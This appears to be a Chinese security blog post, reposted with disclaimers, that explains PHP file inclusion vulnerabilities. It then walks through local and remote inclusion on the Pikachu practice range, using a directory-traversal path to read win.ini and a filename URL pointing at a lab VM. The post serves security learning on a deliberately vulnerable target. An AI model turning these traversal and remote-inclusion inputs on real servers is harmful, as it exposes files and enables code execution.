文章总结: 本文详解文件包含漏洞原理及PHP相关函数,区分本地与远程包含类型。通过Pikachu靶场实战演示如何利用filename参数读取敏感文件及目录遍历。文中还讲解了配置php.ini开启allow_url_include以复现远程文件包含漏洞,帮助读者理解漏洞利用过程与防御要点。 综合评分: 83 文章分类: WEB安全,渗透测试,漏洞分析
文件包含漏洞等你来看
原创
Caigensec
菜根网络安全杂谈
2025年1月12日 10:16 安徽
点击标题下「蓝色微信名」可快速关注
免责声明:本文仅用于合法范围的学习交流,若使用者将本文用于非法目的或违反相关法律法规的行为,一切责任由使用者自行承担。请遵守相关法律法规,勿做违法行为!本公众号尊重知识产权,如有侵权请联系我们删除。
01
文件包含漏洞介绍
1、漏洞简介
文件包含漏洞是指由于应用程序在包含文件时,没有对包含文件的路径和内容进行严格的验证和过滤,导致攻击者可以利用这个机制,让服务器包含并执行非预期的文件。
2、PHP 中的文件包含函数
(1)include()
在执行到该函数时,它会尝试将指定的文件包含进来并执行其中的代码。如果文件不存在,它会产生一个警告,但脚本会继续执行。
(2)require()
和 include () 类似,但如果指定的文件不存在,它会产生一个报错,脚本会停止执行。
(3)include_once()
和 include () 功能基本相同,但它会检查文件是否已经被包含过。如果已经包含过,就不会再次包含,避免了重复包含可能导致的问题,如函数重定义等。
(4)require_once()
结合了 require () 和 include_once () 的特点。如果文件不存在,会产生错误使脚本停止执行,并且会检查文件是否已经被包含过,避免重复包含。
3、文件包含漏洞分类
(1)本地文件包含漏洞
本地文件包含漏洞是指攻击者能够利用应用程序中的文件包含功能,去包含服务器本地文件系统中的文件。
(2)远程文件包含漏洞
远程文件包含漏洞是指攻击者可以让应用程序包含一个远程服务器上的文件。这要求服务器配置允许包含远程文件,并且应用程序没有对文件包含参数进行严格的限制。
在 PHP 中,allow_url_fopen和allow_url_include这两个选项通常需要同时开启才可能出现远程文件包含漏洞。
02
Pikachu靶场文件包含漏洞练习
1、本地文件包含漏洞
查看正常功能,发现是filename控制文件路径
把file1改为file6发现了用户名密码,也可以用Burp的Intrude模块爆破
尝试输入../../../../../../Windows/win.ini,可以查看win.ini的内容,当然也可以查看其他本地文件
2、远程文件包含漏洞
提示allow_url_include没有打开,去设置一下
如何打开allow_url_include
在phpStudy设置里面找到使用的php版本并点击,更改php.ini中的allow_url_include=On,保存并退出。
我在另一台虚拟机kali中的/var/WWW/http目录下新建了一个1.txt,内容为HELLO CiagenSec,我的kali的IP地址为192.168.119.129
在kali中开启apache服务service apache2 start
回到靶场,输入
filename=http://192.168.119.129/1.txt,可以看到已经包含了这个远程文件
THE END
亲爱的朋友,若你觉得文章不错,请点击关注。你的关注是笔者创作的最大动力,感谢有你!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:菜根网络安全杂谈 Caigensec《文件包含漏洞等你来看》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论